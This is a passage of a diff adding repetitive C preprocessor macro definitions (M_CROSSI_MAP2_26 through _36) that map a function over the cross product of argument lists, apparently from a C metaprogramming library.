M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) 
+#define M_CROSSI_MAP2_26(...) M_CROSSI_MAP2_26b(__VA_ARGS__)
+#define M_CROSSI_MAP2_26b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) 
+#define M_CROSSI_MAP2_27(...) M_CROSSI_MAP2_27b(__VA_ARGS__)
+#define M_CROSSI_MAP2_27b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) 
+#define M_CROSSI_MAP2_28(...) M_CROSSI_MAP2_28b(__VA_ARGS__)
+#define M_CROSSI_MAP2_28b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) 
+#define M_CROSSI_MAP2_29(...) M_CROSSI_MAP2_29b(__VA_ARGS__)
+#define M_CROSSI_MAP2_29b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) 
+#define M_CROSSI_MAP2_30(...) M_CROSSI_MAP2_30b(__VA_ARGS__)
+#define M_CROSSI_MAP2_30b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) 
+#define M_CROSSI_MAP2_31(...) M_CROSSI_MAP2_31b(__VA_ARGS__)
+#define M_CROSSI_MAP2_31b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) 
+#define M_CROSSI_MAP2_32(...) M_CROSSI_MAP2_32b(__VA_ARGS__)
+#define M_CROSSI_MAP2_32b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) 
+#define M_CROSSI_MAP2_33(...) M_CROSSI_MAP2_33b(__VA_ARGS__)
+#define M_CROSSI_MAP2_33b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) 
+#define M_CROSSI_MAP2_34(...) M_CROSSI_MAP2_34b(__VA_ARGS__)
+#define M_CROSSI_MAP2_34b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) 
+#define M_CROSSI_MAP2_35(...) M_CROSSI_MAP2_35b(__VA_ARGS__)
+#define M_CROSSI_MAP2_35b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) 
+#define M_CROSSI_MAP2_36(...) M_CROSSI_MAP2_36b(__VA_ARGS__)
+#define M_CROSSI_MAP2_36b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) 